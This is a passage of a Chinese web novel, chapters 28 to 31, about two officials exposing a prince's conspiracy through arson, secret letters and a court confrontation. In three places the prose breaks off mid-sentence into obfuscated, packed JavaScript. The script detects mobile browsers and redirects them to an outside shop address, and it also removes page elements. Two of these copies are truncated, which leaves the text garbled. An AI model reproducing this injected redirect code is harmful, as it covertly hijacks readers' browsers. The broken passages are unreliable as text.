江清砚和谢云辞对视一眼,同时起身,朝外奔去。 刑部大牢浓烟滚滚。 火是从天字号牢房烧起来的,正是关押赵文远和柳文渊的地方。衙役们提着水桶拼命扑救,但火势太大,浓烟熏得人睁不开眼。 江清砚和谢云辞赶到时,李崇明已经在现场指挥。他脸色铁青,见两人过来,沉声道:“火是半个时辰前起的。守卫说,是有人从外面扔进火油罐,瞬间就烧起来了。” “赵文远和柳文渊呢?”江清砚急问。 “救出来了,但……”李崇明顿了顿,“柳文渊烧伤了,不重。赵文远……吸了太多浓烟,昏迷不醒,大夫正在抢救。” 抢救? 江清砚心头一沉。三日后就要问斩,偏偏这个时候出事,太巧了。 “有人想灭口。”谢云辞冷声道,“三皇子?还是二皇子?” “都有可能。”李崇明咬牙,“我已经加派人手,将两人转移到秘密地点,严加看管。但……” 他看向江清砚:“江钦差,此事恐怕不简单。对方敢在刑部大牢纵火,说明……他们已经狗急跳墙了。你们也要小心。” 江清砚点头,目光却投向浓烟深处。 忽然,他胸口一紧——不是疼痛,是某种奇异的牵引感。仿佛有什么东西,在呼唤他。 “谢兄,”他低声道,“跟我来。” 两人避开人群,绕到大牢后侧。这里火势较小,但墙壁已被熏黑。江清砚蹲下身,仔细查看地面——有一串凌乱的脚印,从墙根延伸到远处的小巷。 脚印很新鲜,而且是两个人的。 “他们从这里逃了?”谢云辞问。 “不。”江清砚摇头,“是从这里进来的。” 他指着墙根处一个不起眼的凹痕:“这是特制的攀爬钩留下的痕迹。墙头也有——有人从这里翻进来,放了火,又原路返回。” 他说着,站起身,看向脚印延伸的方向:“谢兄,敢不敢跟我追?” 谢云辞二话不说,拔腿就跟。 两人沿着脚印,一路追进小巷。小巷幽深曲折,七拐八绕,最后在一处死胡同前,脚印消失了。 江清砚停下脚步,仔细打量四周。胡同尽头是一堵高墙,墙上爬满枯藤。墙根堆着些杂物:破木箱、烂草席,还有……一个倒扣的竹筐。 他走过去,掀开竹筐—— 下面是一个洞口,仅容一人通过,黑黝黝的,不知通向哪里。 “暗道?”谢云辞皱眉。 江清砚蹲下身,从怀中取出火折子点亮,朝洞里照了照。洞壁光滑,显然是人工开凿的,而且……很新。 “进去看看。”他说。 谢云辞拦住他:“太危险。你在外面等着,我进去。” “不。”江清砚摇头,“我和你一起。” 两人对视片刻,谢云辞最终妥协:“跟紧我。” 他率先钻进洞口,江清砚紧随其后。暗道很窄,两人只能弯腰前行。走了约莫一炷香时间,前方出现亮光——是个出口。 出口外,竟是一处荒废的宅院。 院子很大,但破败不堪。正屋的屋顶塌了一半,门窗歪斜,院子里长满半人高的荒草。角落里堆着些杂物,看样式,像是……戏班的行头? 江清砚和谢云辞悄无声息地摸到正屋窗下,透过破窗往里看—— 屋里有三个人。 两个黑衣人,正是刚才纵火的刺客。还有一个,是个穿着锦袍的中年男子,背对着窗户,看不清脸。 “……没烧死,只是昏迷。”一个黑衣人低声道,“刑部的人已经把他们转移了,守卫森严,我们没机会再下手。” 中年男子沉默片刻,才开口,声音嘶哑:“废物。连两个将死之人都杀不了。” “大人息怒。”另一个黑衣人连忙道,“虽然没杀死,但赵文远吸了浓烟,就算救回来,脑子也废了。他什么也说不了了。” “柳文渊呢?” “烧伤了手臂,但无大碍。” 中年男子冷哼一声:“柳文渊那个老狐狸,留着他始终是祸患。你们想办法,在问斩前,做掉他。” “是。” “还有,”中年男子转身——江清砚终于看清了他的脸,心头一震! 是陈文正! 那个本该在牢里等死的礼部郎中! 他怎么会在这里?还穿着锦袍,住在这荒宅里? “江清砚那边,查得怎么样了?”陈文正问。 “回大人,江清砚在查各部的人事档案。”黑衣人答道,“看样子,是想把咱们的人都揪出来。” 陈文正眼中闪过寒光:“不能让他再查下去了。你们想办法,制造点‘意外’。” “大人,”黑衣人犹豫道,“江清砚现在有尚方宝剑,又是陛下钦点的钦差。动他,会不会……” “怕什么?”陈文正冷笑,“他一个病秧子,死了就死了。陛下还能为一个死人,跟咱们翻脸不成?” 窗外的江清砚握紧了拳。 谢云辞按住他的手,示意他冷静。 屋里,对话还在继续。 “对了,二皇子那边传话,”陈文正压低声音,“说咱们这边动作太大,已经引起陛下注意了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863504|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让咱们最近收敛些,等风头过去再说。” 二皇子。 果然是他。 江清砚和谢云辞对视一眼,都看到了对方眼中的凝重。 “那三皇子……”黑衣人问。 “老三?”陈文正嗤笑,“一个废物,成事不足败事有余。二皇子早就想除掉他了,这次正好,借水鬼帮的案子,让他彻底失势。你们记住,从今往后,咱们的主子,只有二皇子一人。” “是。” “行了,你们先回去。记住,柳文渊的事,三天内必须办妥。” “遵命。” 两个黑衣人躬身退出。陈文正则走到屋角,搬开一个破旧的木箱,下面竟是个暗格。他从暗格里取出一个小木盒,打开,里面是几封书信。 他仔细看了看,又将木盒放回,重新盖好木箱。 做完这些,他才吹熄蜡烛,从后门离开了。 等陈文正走远,江清砚和谢云辞才悄无声息地翻进屋里。 “找那个木盒。”江清砚低声道。 两人搬开木箱,果然找到暗格。木盒没锁,打开一看,里面是十几封书信。信纸泛黄,墨迹陈旧,最早的一封,日期是六年前。 永昌十三年。 谢云辞拿起那封信,展开一看,脸色骤变。 信的内容很简单,只有几句话: “谢侍郎查军饷案甚紧,恐生变故。宜早做打算。赵。” 落款只有一个字:赵。 赵文远。 而收信人那里,写着一个名字:陈文正。 六年前,谢云辞的父亲,兵部侍郎谢远山,正是因为军饷案被诬陷贪污,满门抄斩。 原来……陈文正也牵扯其中! 谢云辞的手在颤抖,眼中燃起熊熊怒火。 江清砚握住他的手,低声道:“谢兄,冷静。现在不是时候。” 谢云辞深吸一口气,强迫自己压下杀意。他继续翻看其他信件——都是赵文远、柳文渊、陈文正三人往来的密函,内容涉及军饷案、漕运案、科举案……一桩桩,一件件,触目惊心。 而最底下的一封信,日期是三个月前,落款是……二皇子。 信中写道:“漕运之利,可分。科举人选,需慎。柳文渊可用,赵文远可制。陈卿居中调和,功成之后,必有厚报。” 短短数语,却将二皇子、赵文远、柳文渊、陈文正四人的关系,交代得清清楚楚。 铁证。 这才是真正的铁证! 江清砚小心收起这些信件,低声道:“走。此地不宜久留。” 两人原路返回。回到刑部时,天色已晚。 李崇明还在等他们。见两人平安归来,松了口气,但看到他们带回的信件时,脸色又凝重起来。 “这些信……”他翻看着,手在发抖,“若是真的,那二皇子……” “李大人,”江清砚沉声道,“这些信,必须立刻呈报陛下。” “我知道。”李崇明点头,“但……陛下会信吗?二皇子势大,又有太后撑腰。若无十足把握,贸然揭发,恐怕……” “所以需要时机。”谢云辞忽然道,“三日后的问斩,就是时机。” 江清砚看向他,明白了他的意思。 三日后,赵文远和柳文渊问斩。届时,朝野瞩目。若在行刑前,将这些证据公之于众…… 那二皇子,就再也藏不住了。 “但这样做,风险太大。”李崇明犹豫道,“二皇子若狗急跳墙,恐怕……” “他已经狗急跳墙了。”江清砚轻声道,“刑部大牢纵火,就是证明。李大人,我们没有退路了。” 李崇明沉默良久,最终缓缓点头:“好。三日后,我陪你们一起。” 夜色渐深。 江清砚和谢云辞回到厢房。灯下,两人看着桌上那些信件,久久无言。 六年的冤案,水鬼帮的真相,皇子的阴谋……所有线索,终于连成了一张完整的网。 而他们,就在网的中心。 “清砚,”谢云辞忽然开口,声音有些哑,“等这件事了了,我……” 他想说什么,却又顿住。 江清砚看向他,目光温柔:“等这件事了了,我陪你回谢家老宅,给你爹娘上柱香。” 谢云辞眼眶一热,重重点头。 窗外,秋风呜咽。 三日后,将是一场决战。 而他们,已经准备好了。 29. 第 29 章 第二十九章毒源迷踪 刑部大牢纵火后的第二日,京城下起了雨。 秋雨细密,将整座城市笼罩在一片灰蒙蒙的雾霭中。街道上行人稀少,车马稀疏,连平日里喧闹的市井也安静了许多,只有雨打瓦檐的滴答声,单调而绵长。 江清砚站在刑部后衙的屋檐下,看着雨水顺着檐角连成线,在青石板上溅起细小的水花。他手里握着一封刚收到的密信,信纸被雨水打湿了些,墨迹微微晕开。 信是李崇明派人送来的,说赵文远醒了,但神智混乱,时而清醒时而糊涂,问什么都答非所问。大夫说,这是吸入过多浓烟导致的脑损伤,能不能恢复,难说。 至于柳文渊,烧伤不重,但拒绝开口。从昨日到现在,一言不发,连水都不肯喝,像是打定主意要绝食而死。 线索,又断了。 江清砚闭上眼睛,脑中那座“记忆宫殿”缓缓展开。他将所有线索一一摆放:水鬼帮账本、各部人事档案、陈文正的密信、赵文远的疯癫、柳文渊的沉默…… 还有,二皇子。 这些线索看似杂乱,却都指向同一个方向——一个庞大的、渗透朝堂的势力网。而这张网的结点,就在三日后将要问斩的两个人身上。 可他们若死了,或者疯了,或者不肯开口,这张网就永远无法完全揭开。 “清砚。” 谢云辞的声音从身后传来。他撑着伞走过来,伞面倾斜,大半遮在江清砚头顶。 “雨凉,进屋吧。” 江清砚转身,看到谢云辞肩头湿了一片——方才伞都遮在他这边了。 “你伤口不能沾水。”他皱眉。 “一点小雨,不碍事。”谢云辞不在意道,“李大人找我们,说有事商议。” 两人来到刑部正堂时,李崇明正对着桌上的几样东西发愣。 那是一个小巧的铜炉,几根细香,还有几个颜色诡异的瓷瓶。铜炉里残留着灰白色的香灰,气味刺鼻,闻之头晕。 “这是从柳文渊的牢房里搜出来的。”李崇明见两人进来,沉声道,“藏在马桶夹层里,若非今日狱卒清扫,根本发现不了。” 江清砚上前,拿起一根细香闻了闻,脸色微变:“曼陀罗花粉、醉鱼草根……还有一味……是‘牵机引’的引子。” 又是“牵机引”。 都水司那些“暴毙”的官员,中的就是这种毒。而柳文渊的牢房里,竟藏有这种毒的引子。 “他想做什么?”谢云辞冷声道,“在牢里下毒?” “恐怕是准备自杀。”江清砚放下细香,“‘牵机引’发作需要三日,若他在问斩前一日服下,行刑时正好毒发。届时,所有人都会以为他是‘突发心疾’,而不是……被人灭口。” 好毒的计策。 既能保住身后之人,又能死得“体面”。 “可他没有服毒。”李崇明皱眉,“若非发现这些,我们都不知道他有这个打算。” “因为他在等。”江清砚缓缓道,“等一个机会,或者……等一个人。” 等谁? 二皇子?还是陈文正? 不得而知。 “还有这个。”李崇明又推过来一个纸包。 纸包里是些暗红色的粉末,气味腥甜,像某种干涸的血迹。 “这是什么?”谢云辞问。 “从赵文远吐的痰里发现的。”李崇明脸色难看,“大夫验过,说是……‘血竭’的粉末,但掺了其他东西。具体是什么,还在查。” 血竭。 外伤止血的药材,也是血衣门修炼邪功的辅助药物。 江清砚脑中灵光一闪:“赵文远是不是练过武?” 李崇明一怔:“你这么一说……赵文远年轻时确实习过武,后来入仕才荒废了。怎么了?” “血竭若是内服,配合特定的心法,可强行激发潜能,让人在短时间内精神亢奋,力大无穷。”江清砚快速道,“但药效过后,会元气大伤,甚至……神智混乱。” 所以赵文远的疯癫,可能不只是浓烟所致,还有药物的影响? 可谁给他下的药?为什么要让他疯? “赵文远疯前,最后见的人是谁?”谢云辞问。 “只有狱卒送饭。”李崇明道,“但那些狱卒都查过了,没有问题。” “饭菜呢?” “也验了,无毒。” 那就奇怪了。 江清砚沉思片刻,忽然道:“李大人,能否带我们去看看赵文远?” 刑部大牢的秘密牢房,比寻常牢房更加阴暗潮湿。墙上只有一个小小的气窗,透进些许天光,勉强能看清里面的情形。 赵文远被单独关在一间里。他蜷缩在墙角,抱着膝盖,嘴里念念有词,听不清在说什么。头发散乱,脸上有烟熏的痕迹,眼神涣散,确实是一副疯癫模样。 江清砚站在栅栏外,仔细观察他。 赵文远似乎感觉到了目光,猛地抬头,眼睛直勾勾地盯着江清砚。那一瞬间,江清砚看到他眼中闪过一抹极快的清明——像黑夜里的闪电,稍纵即逝。 “赵大人。”江清砚开口。 赵文远没反应,依旧盯着他,嘴唇翕动,像在说什么。 江清砚凑近些,凝神去听—— “……莲……花……池……” 莲花池? 江清砚心头一动。莲花,是都水司那位“暴毙”官员的私徽。而莲花池……京城只有一处有名的地方叫莲花池——城南的皇家园林,清漪园。 清漪园是皇家别苑,寻常人不得入内。但赵文远曾是吏部侍郎,有资格出入。 “赵大人,莲花池怎么了?”江清砚追问。 赵文远却不说话了。他低下头,又开始喃喃自语,这次声音大了些,能听清几个词:“……死人……都死了……下一个……是我……” 死人?都死了? 江清砚和谢云辞对视一眼。他们同时想起都水司那些“暴毙”的官员,还有水鬼帮那些“失踪”的举子。 难道……莲花池是埋尸地? “李大人,”江清砚转身,“可否派人去清漪园的莲花池查看?” 李崇明神色凝重:“清漪园是皇家禁地,没有圣旨,不得擅入。况且……莲花池很大,若真埋了尸,也不是一时半会儿能找到的。” 这倒是实话。 江清砚沉吟片刻,又道:“那赵文远入狱前,最后一次去清漪园是什么时候?” “这……”李崇明想了想,“我得去查查。” “还有,”谢云辞忽然开口,“赵文远疯前,除了狱卒,还有谁接触过他?比如……大夫?” “大夫是刑部的人,可靠。”李崇明道,“不过……倒是有一件事很奇怪。” “什么?” “赵文远刚被押入天牢时,曾有个自称是他老家亲戚的人来探监。”李崇明回忆道,“按规矩,重犯不得探视,那人就被拦下了。但据守卫说,那人离开时,神色慌张,还在牢门外徘徊了很久。” 老家亲戚? 江清砚想起赵文远的籍贯——他是北地人,老家在蓟州。而蓟州……正是水鬼帮活跃的地方。 “那人长什么样?”谢云辞问。 “守卫说是个中年汉子,穿粗布衣裳,脸上有疤,说话带着蓟州口音。”李崇明顿了顿,“对了,守卫还说,那人右手虎口有个刺青——船锚缠绕水蛇。” 水鬼帮的人! 江清砚和谢云辞心头同时一震。 水鬼帮的人来探赵文远?为什么? “那人后来去哪了?”谢云辞急问。 “不知道。”李崇明摇头,“守卫见他可疑,本想扣下,但那人身手了得,打伤几个守卫,跑了。” 跑了。 线索又断了。 江清砚闭上眼睛,努力将所有的碎片拼凑起来:赵文远、水鬼帮、莲花池、蓟州口音的探监人…… 忽然,他睁开眼,看向李崇明:“李大人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他刚才看我的眼神,有一瞬间很清醒。”江清砚回忆道,“而且他说的‘莲花池’、‘药庐’,都不是疯话能编出来的。除非……他是装疯。” 装疯? 谢云辞皱眉:“为什么?” “为了自保。”江清砚分析道,“赵文远知道太多秘密,若他清醒,二皇子一定会杀他灭口。但若他疯了,一个疯子的话没人信,反而能保住命。” “可他现在被关在刑部大牢,早晚要问斩。装疯有什么用?” “问斩前,或许……会有人来救他。”江清砚目光幽深,“或者,有人需要他活着,作为……筹码。” 筹码? 谢云辞明白了。赵文远知道二皇子的秘密,若他落在其他人手里,比如……三皇子,或者别的势力,就能用来要挟二皇子。 所以二皇子要杀他,而其他势力……可能要保他。 “那我们现在怎么办?” “等。”江清砚看向雨中朦胧的京城,“等药庐的消息,等清漪园的搜查结果,也等……那个蓟州口音的探监人,再次出现。” 他说着,忽然咳嗽起来。 咳得撕心裂肺,苍白的脸上泛起不正常的潮红。谢云辞连忙扶住他,为他拍背顺气。 “你的身体……”谢云辞担忧道。 “没事。”江清砚喘息着,从怀中取出药瓶,倒出一粒药丸吞下,“老毛病了。” 谢云辞看着他依旧苍白的脸,忽然道:“清砚,等这件事了了,我们就离开京城。去润州,去江南,去哪儿都好。我带你找最好的大夫,一定治好你的病。” 江清砚笑了,那笑意很淡,却带着真实的温暖。 “好。”他轻声道,“等这件事了了,我们就走。” 雨声渐急。 两人在伞下并肩而行,身影在雨中渐渐模糊。 而他们不知道的是,此刻刑部大牢的秘密牢房里,赵文远正趴在栅栏边,眼睛死死盯着他们离去的方向。 那眼神,清明得可怕。 他嘴唇翕动,无声地说出几个字: “药庐……地窖……账本……” 然后,他缓缓退回到墙角,重新蜷缩起来,恢复了那副疯癫的模样。 仿佛刚才那瞬间的清醒,从未存在过。 30. 第 30 章 第三十章御前机会 雨连着下了三日,终于在第三日午后停了。天空依旧阴沉,但总算透出些微的天光,像一块洗得发白的旧布,勉强罩在京城上空。 刑部正堂里,气氛比窗外的天色更凝重。 李崇明坐在主位,手里捏着一份刚从蓟州送回的急报,指节因用力而泛白。谢云辞站在他身侧,目光紧盯着那份急报,眉头紧锁。江清砚坐在下首,脸色比前几日更苍白了几分,胸口的隐痛像细密的针,一下下扎着,但他强忍着,目光平静地看着李崇明。 “药庐……被烧了。”李崇明终于开口,声音干涩,“我们的人赶到时,只剩一片焦土。什么都没留下。” 预料之中的结果。 江清砚闭了闭眼,再睁开时,眼中已无波澜:“清漪园那边呢?” “进不去。”李崇明摇头,“清漪园是皇家禁地,守卫是御林军,没有圣旨,连我都进不去。更别说搜查了。” 两条线索,全断了。 堂上一片死寂,只有窗外屋檐滴水的嗒嗒声,单调而沉闷。 许久,李崇明才再次开口,声音更低:“还有一件事……今日早朝,二皇子上了道奏折。” 他从袖中取出一份奏折抄本,推给江清砚。 奏折很长,但核心意思很简单:水鬼帮一案已了,主犯赵文远、柳文渊三日后问斩,余孽也已伏法。请陛下下旨,将此案归档封存,以免继续追查引发朝堂动荡,影响国本。 “影响国本”四个字,写得尤其重。 这是威胁,也是警告。 江清砚看完奏折,抬起头:“陛下的意思呢?” “陛下留中不发。”李崇明道,“但朝中已有不少大臣附议,说此案查了两个月,牵连甚广,人心惶惶,是该了结了。” “了结?”谢云辞冷笑,“那些失踪的举子呢?那些被渗透的衙门呢?就这么算了?” “不是算了,是……”李崇明顿了顿,声音艰涩,“是到此为止。陛下需要朝局稳定,不能再查下去了。” 到此为止。 四个字,轻飘飘的,却像千斤重石,压得人喘不过气。 江清砚握紧了拳,指甲深深掐进掌心。他能感觉到谢云辞的愤怒——通过那奇妙的联结,一股灼热的、压抑的怒意在胸中翻涌,分不清是自己的,还是谢云辞的。 同生共死,连情绪都共享了。 “李大人,”江清砚缓缓开口,声音平静得可怕,“若我们……有铁证呢?” 李崇明一怔:“什么铁证?” 江清砚从怀中取出那几封从陈文正荒宅里搜出的密信,放在桌上:“这些信,足以证明二皇子与赵文远、柳文渊勾结,染指漕运、科举。还有……” 他又从袖中取出一张纸,上面是他凭记忆默写的、水鬼帮账本中关于“特殊货物”的部分记录:“这些‘特殊货物’,价格从黄金千两到万两不等。买主是谁?用途是什么?若继续追查,一定能挖出更多。” 李崇明看着那些信件和记录,眼中闪过挣扎。许久,他才苦笑道:“江钦差,这些证据……不够。” “不够?” “不够扳倒一个皇子。”李崇明直视江清砚,“二皇子是嫡子,母族势大,在朝中根基深厚。这些信件,他可以说成是赵文远伪造,意图攀咬。这些账目,他可以说成是水鬼帮的栽赃。没有直接证据证明他参与其中,陛下……不会轻易动他。” 不会轻易动。 因为动一个皇子,就是动国本。 江清砚明白了。 他缓缓站起身,走到窗边,看着窗外灰蒙蒙的天空。雨后的京城,空气湿冷,带着泥土和落叶腐烂的气息。 “李大人,”他背对着李崇明,轻声道,“我想面圣。” 李崇明一愣:“现在?” “现在。” “可是陛下今日……” “就现在。”江清砚转身,目光清亮而坚定,“我有话,必须当面跟陛下说。” 李崇明看着这个苍白清瘦的少年,看着他眼中那种近乎执拗的坚定,忽然想起了当年的自己——也曾这样,以为凭着满腔热血和正义,就能改变什么。 可最终,都被现实磨平了棱角。 “江钦差,”他缓缓道,“你可知道,面圣陈情,若触怒天颜,是什么后果?” “知道。”江清砚点头,“轻则罢官,重则……死罪。” “那你还……” “但我更知道,若现在不说,等赵文远、柳文渊一死,此案就真的到此为止了。”江清砚的声音很轻,却字字清晰,“那些失踪的人,就永远找不到了。那些被渗透的衙门,就永远清不了了。而二皇子……会继续在朝中经营势力,总有一天,会酿成更大的祸患。” 他顿了顿,看着李崇明:“李大人,您为官多年,该比我更清楚——有些事,若现在不做,以后就再也没机会了。” 李崇明沉默了。 他看着江清砚,又看看谢云辞,最终长长叹了口气。 “好。”他说,“我陪你去。但你要记住,有些话,该说;有些话,不该说。分寸……要把握好。” “学生明白。” 养心殿内,龙涎香的味道比上次更浓了。 江清砚跪在冰冷的地砖上,额头触地。永昌帝坐在御案后,正批阅奏折,朱笔在纸上划过,发出沙沙的轻响。李崇明跪在他身后一步,垂着头,大气不敢出。 殿内一片死寂,只有笔尖划过纸面的声音。 许久,永昌帝才放下笔,抬起头,目光落在江清砚身上。 “江清砚,你急着见朕,所为何事?” 江清砚抬起头,但依旧保持着跪姿:“陛下,臣为水鬼帮一案而来。” “案子不是结了吗?”永昌帝声音平静,“三日后,赵文远、柳文渊问斩。余孽伏法。还有什么问题?” “有。”江清砚叩首,“此案虽了,但真相未明。” “哦?”永昌帝挑眉,“什么真相?” “第一,那些失踪的举子,至今下落不明。”江清砚一字一句道,“账本记载,水鬼帮掳掠举子共计八十七人,找到的只有三十四人。其余五十三人,生不见人,死不见尸。他们去了哪里?被谁买走?用作什么用途?” 他顿了顿,继续道:“第二,朝中各部,皆有被水鬼帮渗透的迹象。户部、礼部、翰林院……甚至都察院、大理寺,都有官员来历不明,履历可疑。若继续追查,定能揪出更多。” “第三,”江清砚抬起头,直视永昌帝,“此案背后,恐有皇子参与。” 最后这句话,石破天惊。 李崇明脸色煞白,头垂得更低。 永昌帝的眼神骤然锐利:“江清砚,你可知你在说什么?” “臣知道。”江清砚从怀中取出那些密信和账目摘要,双手呈上,“此乃从陈文正处搜出的密信,以及水鬼帮账本中关于‘特殊货物’的记录。请陛下御览。” 太监接过,呈给永昌帝。 永昌帝一封封看过去,脸色越来越沉。当看到二皇子那封信时,他手一颤,信纸飘落在地。 “这是……真的?”他声音嘶哑。 “千真万确。”江清砚叩首,“臣愿以性命担保。” 永昌帝沉默了。 他盯着地上那封信,许久,忽然笑了。那笑意很冷,带着一种深深的疲惫。 “江清砚,”他缓缓道,“你是个聪明人,该知道……有些事,知道了,未必是好事。” “臣知道。”江清砚平静道,“但臣更知道,若为了一时太平,而纵容奸邪,将来必酿大祸。陛下,水鬼帮掳掠举子,染指科举,渗透朝堂——这不是普通的贪腐案,这是动摇国本的大案!若不彻查,大周的未来,就攥在这些宵小之徒手里!” 他说得激动,胸口剧痛,猛地咳嗽起来。咳得撕心裂肺,嘴角溢出一丝血迹。 “清砚!”谢云辞忍不住出声,却被李崇明死死按住。 永昌帝看着他咳血的样子,眼中闪过复杂的神色。 “你的身体……”他问。 “臣……无碍。”江清砚喘息着,抹去嘴角的血迹,“请陛下……彻查此案。” 永昌帝站起身,走到窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许久,他才睁开眼,一字一句道:“天子犯法,与庶民同罪。皇子……亦是如此。” “哪怕……是朕最疼爱的儿子?” “哪怕……是陛下最疼爱的儿子。” 四目相对。 永昌帝眼中闪过挣扎、痛苦,最终化作一片深沉的决绝。 “好。”他缓缓道,“朕给你权力。三日后,赵文远、柳文渊问斩前,朕会当众宣布——水鬼帮一案,由你主理,三司协办,彻查到底。无论牵扯到谁,一查到底。” “谢陛下隆恩!”江清砚叩首。 “但你要记住,”永昌帝的声音忽然转冷,“这是朕给你的最后一次机会。若查不出结果,或者……查出的结果让朕失望,那你……就自行了断吧。” 自行了断。 四个字,重如千钧。 江清砚却笑了。 那笑意很淡,却带着释然。 “臣,领旨。” 走出养心殿时,天已经完全黑了。 宫灯次第亮起,将长长的宫道照得如同白昼。可江清砚却觉得,前路比任何时候都黑暗。 “清砚,”谢云辞扶住他,担忧道,“你的身体……” “没事。”江清砚摇头,胸口的剧痛已经麻木了,“谢兄,我们只有三天时间。” 三天。 要查清所有的线索,要找到所有的证据,要……扳倒一个皇子。 这几乎是不可能完成的任务。 但江清砚知道,他没有退路了。 要么查个水落石出,要么……死。 “我陪你。”谢云辞只说了三个字。 三个字,却重如千钧。 两人并肩走出宫门。门外,雨又开始下了。 秋雨潇潇,将整座京城笼罩在一片朦胧的水汽中。 而他们前方的路,比这夜色更暗,比这雨水更冷。 但他们必须走下去。 因为这是他们选择的路。 也是唯一的路。 31. 第 31 章 第三十一章金殿戴枷 十月二十八,寅时三刻,天还未亮。 刑部大牢最深处,天字号牢房的门缓缓打开。两个狱卒端着木盘走进去,盘里放着最后一顿饭——白米饭、一碗肉、一碟咸菜、一壶酒。按照惯例,死囚行刑前,会得到这样一顿饱饭,算是人世间最后的仁慈。 赵文远蜷缩在墙角,头发散乱,眼神涣散,对端进来的饭菜毫无反应。他嘴里念念有词,声音含糊,听不清在说什么。狱卒把饭菜放在他面前,叹了口气,退了出去。 隔壁牢房的柳文渊却坐得笔直。他换上了一身干净的囚服,头发梳得一丝不苟,脸上甚至还带着平静的微笑。见狱卒进来,他微微颔首,语气温和:“有劳了。” 狱卒放下饭菜,欲言又止,最终还是低声道:“柳大人……您还有什么未了的心愿吗?” 柳文渊摇摇头,拿起筷子,夹了一筷肉,细嚼慢咽,吃相斯文得像在赴宴。吃完,他又倒了一杯酒,慢慢饮尽,这才抬头:“告诉江钦差,老朽……在黄泉路上等他。” 狱卒打了个寒噤,不敢多言,躬身退下。 牢门重新锁上。走廊里响起沉重的脚步声,是押解的官差来了。时辰到了。 卯时正,刑部大门洞开。 两辆囚车缓缓驶出,车轮碾过青石板路,发出沉闷的轱辘声。赵文远和柳文渊被五花大绑,跪在囚车里,颈后插着亡命牌,牌上朱笔写着“斩”字,在晨光下猩红刺目。 街道两旁,早已挤满了看热闹的百姓。有人指指点点,有人窃窃私语,还有人朝囚车扔烂菜叶、臭鸡蛋。赵文远依旧疯疯癫癫,对周遭毫无反应。柳文渊却闭着眼,神情平静,仿佛周遭的一切喧嚣都与他无关。 囚车驶过朱雀大街,转向午门——按律,斩立决的重犯,要在午门外当众行刑,以儆效尤。 然而,当囚车抵达午门时,所有人都愣住了。 午门外没有搭设刑台,没有监斩官,也没有刽子手。只有两队御林军肃立两旁,中间让出一条道。道的尽头,是巍峨的宫门,宫门大开,隐约能看到里面金碧辉煌的殿堂。 “这……这是怎么回事?”围观的百姓议论纷纷。 “不是要斩首吗?怎么往宫里去了?” “难道……改判了?” 议论声中,囚车继续前行,穿过宫门,驶向金銮殿。 金銮殿上,文武百官早已列班等候。 今日不是大朝会,但所有在京的四品以上官员,全都被急召入宫。朝臣们面面相觑,低声交谈,空气中弥漫着不安的气息。 永昌帝高坐龙椅,面色沉静,看不出喜怒。他身旁立着掌印太监,手捧明黄圣旨,神色肃穆。 殿外忽然传来一声高唱: “带人犯——” 所有人的目光都投向殿门。 只见两队御林军押着两个人走进来——正是赵文远和柳文渊。他们戴着枷锁,脚镣拖在地上,发出刺耳的哗啦声。 赵文远被押进来时,依旧疯疯癫癫,嘴里念念有词。柳文渊却站得笔直,虽戴枷锁,却依然保持着文人的风骨,一步步走到殿中央,跪下,叩首。 “罪臣柳文渊,叩见陛下。” 他的声音平稳,没有丝毫颤抖。 永昌帝看着他,许久,才缓缓开口:“柳文渊,你可知罪?” “臣知罪。”柳文渊叩首,“勾结匪类,扰乱科举,罪该万死。” “那赵文远呢?”永昌帝看向一旁疯癫的赵文远。 “赵大人……亦是如此。”柳文渊答得滴水不漏。 殿上一片哗然。 不少朝臣露出愤慨之色——这两人,死到临头还不肯说实话! 永昌帝却笑了。 那笑意很冷,带着一种洞察一切的嘲讽。 “柳文渊,你以为……把所有罪责揽在自己身上,就能保住身后之人吗?” 柳文渊身体微微一僵,但很快恢复平静:“陛下明鉴,此案皆是臣与赵文远所为,与他人无关。” “无关?”永昌帝从御案上拿起一沓书信,扔在他面前,“那这些信,是怎么回事?” 那是从陈文正荒宅搜出的密信,包括二皇子那封。 柳文渊看着那些信,脸色终于变了。 “这……这是伪造!”他嘶声道,“定是有人栽赃陷害!” “伪造?”永昌帝冷笑,“那朕问你——永昌十六年八月,你通过陈文正,将五个被水鬼帮掳掠的举子送入观澜书院,这事,也是伪造?” 柳文渊如遭雷击。 “还有,”永昌帝继续道,“永昌十七年三月,你收受都水司郎中周世昌黄金三千两,为他儿子周文远疏通科举关节,这事,也是伪造?” “永昌十八年五月,你与赵文远密谋,借水鬼帮之手,除掉三皇子的心腹官员,这事,也是伪造?” 一桩桩,一件件,时间、地点、人物、金额……全都准确无误! 柳文渊脸色惨白如纸,浑身发抖。 他怎么也想不到,永昌帝竟掌握了这么多证据! “柳文渊,”永昌帝的声音陡然转厉,“朕再问你最后一次——此事,到底还有谁参与?!” 殿上一片死寂。 所有朝臣都屏住了呼吸,等待着柳文渊的回答。 柳文渊跪在地上,低着头,肩膀剧烈颤抖。许久,他才抬起头,眼中已是一片死灰。 “陛下……”他声音嘶哑,“臣……无话可说。” 无话可说。 这四个字,等于默认了一切。 朝臣们哗然! “陛下!”一个老臣出列,颤声道,“若柳文渊所言属实,那此事……牵扯太广了!臣请陛下,彻查到底!” “臣附议!”又一人出列,“科举乃国家抡才大典,岂容宵小染指!必须查个水落石出!” “臣附议!” “臣也附议!” 一时间,附议之声此起彼伏。 永昌帝看着跪了一地的朝臣,眼中闪过一丝欣慰,但更多的,是深沉的疲惫。 